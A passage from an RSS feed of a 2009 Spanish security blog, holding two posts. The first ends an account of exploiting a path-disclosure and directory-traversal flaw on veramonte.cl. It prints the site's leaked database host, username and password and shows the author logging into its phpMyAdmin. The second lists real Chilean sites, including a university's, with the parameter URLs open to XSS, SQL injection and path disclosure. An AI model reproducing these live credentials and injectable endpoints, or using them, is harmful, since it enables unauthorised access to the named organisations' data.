<p>La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y &#8230;&#8230;. <strong>bingo!!</strong>, lo tenemos:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> Conectarse<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="br0">&#40;</span><span class="re0">$link</span>=<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;veramonte&quot;</span>,<span class="st0">&quot;v3r4m0nt3&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error conectando a la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;veramonte&quot;</span>,<span class="re0">$link</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error seleccionando la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">return</span> <span class="re0">$link</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en <a href="http://veramonte.cl/phpmyadmin" target="_blank">http://veramonte.cl/phpmyadmin</a>:</p>
<p><img class="aligncenter size-full wp-image-775" title="veramonte-2" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-2.png" alt="veramonte-2" width="458" height="185" /></p>
<p>Creo que con esto, el objetivo ya está logrado.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/"  data-text="Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Sitios vulnerables de la semana</title>
		<link>http://blog.zerial.org/seguridad/sitios-vulnerables-de-la-semana-2/</link>
		<comments>http://blog.zerial.org/seguridad/sitios-vulnerables-de-la-semana-2/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 14:09:36 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[path disclosure]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=592</guid>
		<description><![CDATA[Los sitios vulnerables de esta semana correspnden a 5, lo inaceptable es que 3 de ellos pertenecen a la Universidad San Sebastián. Esta semana semana expondré sitios con vulnerabilidades de SQL Injection, XSS y Path Disclosure, los sitios afectados son: rmm.cl eduvic.cl cronica.cl uss.cl (www.uss.cl y enred.uss.cl) - Las vulnerabilidades XSS corresponden a los siguientes [...]]]></description>
			<content:encoded><![CDATA[<p>Los sitios vulnerables de esta semana correspnden a 5, lo inaceptable es que 3 de ellos pertenecen a la <a href="http://www.uss.cl" target="_blank">Universidad San Sebastián</a>. Esta semana semana expondré sitios con vulnerabilidades de SQL Injection, XSS y Path Disclosure, los sitios afectados son:<br />
<img class="alignright size-full wp-image-608" title="wrongway1" src="http://blog.zerial.org/wp-content/uploads/2009/07/wrongway1.jpg" alt="wrongway1" width="194" height="129" /></p>
<ul>
<li><a href="http://rmm.cl" target="_blank">rmm.cl</a></li>
<li><a href="http://eduvic.cl" target="_blank">eduvic.cl</a></li>
<li><a href="http://cronica.cl" target="_blank">cronica.cl</a></li>
<li><a href="http://uss.cl" target="_blank">uss.cl</a> (www.uss.cl y enred.uss.cl)</li>
</ul>
<p><span id="more-592"></span></p>
<p>- Las vulnerabilidades <em>XSS</em> corresponden a los siguientes sitios:</p>
<p><a href="http://www.rmm.cl/recursos.php?id_portal=335&amp;seccion=" target="_blank">http://www.rmm.cl/recursos.php?id_portal=335&amp;seccion=</a><strong>[XSS]</strong><br />
<a href="http://www.eduvic.cl/doc.asp?id=1&amp;nom=" target="_blank">http://www.eduvic.cl/doc.asp?id=1&amp;nom=</a><strong>[XSS]</strong><br />
<a href="http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=" target="_blank">http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=</a><strong>[XSS]</strong></p>
<p>- Los sitios con vulnerabilidad <em>SQL Injection</em> son:</p>
<p><a href="http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=" target="_blank">http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=</a><strong>[SQL Injection]</strong><br />
<a href="http://www.uss.cl/alumnos/noticias_detalle.php?s=20040708164902&amp;c=" target="_blank"> http://www.uss.cl/alumnos/noticias_detalle.php?s=20040708164902&amp;c=</a><strong>[SQL Injection]</strong></p>
<p>- <em>Full Path Disclosure</em></p>
<p><a href="http://www.cronica.cl/edicion_cronica/seccion/articulo.php?dia=1190088000&amp;seccion=" target="_blank">http://www.cronica.cl/edicion_cronica/seccion/articulo.php?dia=1190088000&amp;seccion=</a><strong>[XXX]</strong></p>
<p><strong>Bonus track<br />
</strong><br />
<a href="http://twittersheep.com/results.php?u=" target="_blank"> http://twittersheep.com/results.php?u=</a><strong>[XSS]</strong></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsitios-vulnerables-de-la-semana-2%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/sitios-vulnerables-de-la-semana-2/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/sitios-vulnerables-de-la-semana-2/"  data-text="Sitios vulnerables de la semana" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/sitios-vulnerables-de-la-semana-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

